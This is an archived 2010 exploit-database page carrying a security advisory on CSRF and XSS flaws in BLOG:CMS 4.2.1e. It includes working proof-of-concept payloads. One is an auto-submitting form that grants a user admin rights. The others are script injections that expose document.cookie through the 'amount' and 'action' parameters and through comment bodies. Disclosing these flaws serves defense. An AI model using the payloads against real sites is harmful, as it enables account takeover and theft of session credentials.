[webapps / 0day] - BLOG:CMS <= v4.2.1e Multiple Vulnerabi
Posted on 15 December 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>BLOG:CMS <= v4.2.1e Multiple Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='BLOG:CMS <= v4.2.1e Multiple Vulnerabilities by High-Tech Bridge . in webapps / 0day | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>============================================ BLOG:CMS <= v4.2.1e Multiple Vulnerabilities ============================================ Product: BLOG:CMS Vendor: Radek Hulán ( http://blogcms.com/ ) Vulnerable Version: 4.2.1.e and probably prior versions Vendor Notification: 30 November 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) XSRF/CSRF: Vulnerability Details: The vulnerability exists due to failure in the "admin/libs/ADMIN.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/index.php" method="post" name="main"> <input type="hidden" name="action" value="changemembersettings"> <input type="hidden" name="memberid" value="USER_UD"> <input type="hidden" name="name" value="tester"> <input type="hidden" name="realname" value="tester"> <input type="hidden" name="password" value=""> <input type="hidden" name="repeatpassword" value=""> <input type="hidden" name="email" value="email@example.com"> <input type="hidden" name="url" value=""> <input type="hidden" name="admin" value="1"> <input type="hidden" name="canlogin" value="1"> <input type="hidden" name="notes" value=""> <input type="hidden" name="deflang" value=""> </form> <script> document.main.submit(); </script> Stored XSS (HTB22724): Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "action.php" script to properly sanitize user-supplied input in "body" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. Enter comment like <script>alert('XSS')</script> in "Add new comment" form. XSS (HTB22725): Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "admin/index.php" script to properly sanitize user-supplied input in "amount" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/index.php" method="post" name="main"> <input type="hidden" name="blogid" value="0"> <input type="hidden" name="itemid" value="0"> <input type="hidden" name="action" value="browseowncomments"> <input type="hidden" name="amount" value='10"><script>alert(document.cookie)</script>'> <input type="hidden" name="start" value="0"> <input type="hidden" name="search" value=""> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version XSS(HTB22726): Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "admin/index.php" script to properly sanitize user-supplied input in "action" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: http://host/admin/index.php?action=settingsedit"><script>alert(document.cookie)</script> Solution: Upgrade to the most recent version # <a href='http://1337db.com/'>1337db.com</a> [2010-12-15]</pre></body></html>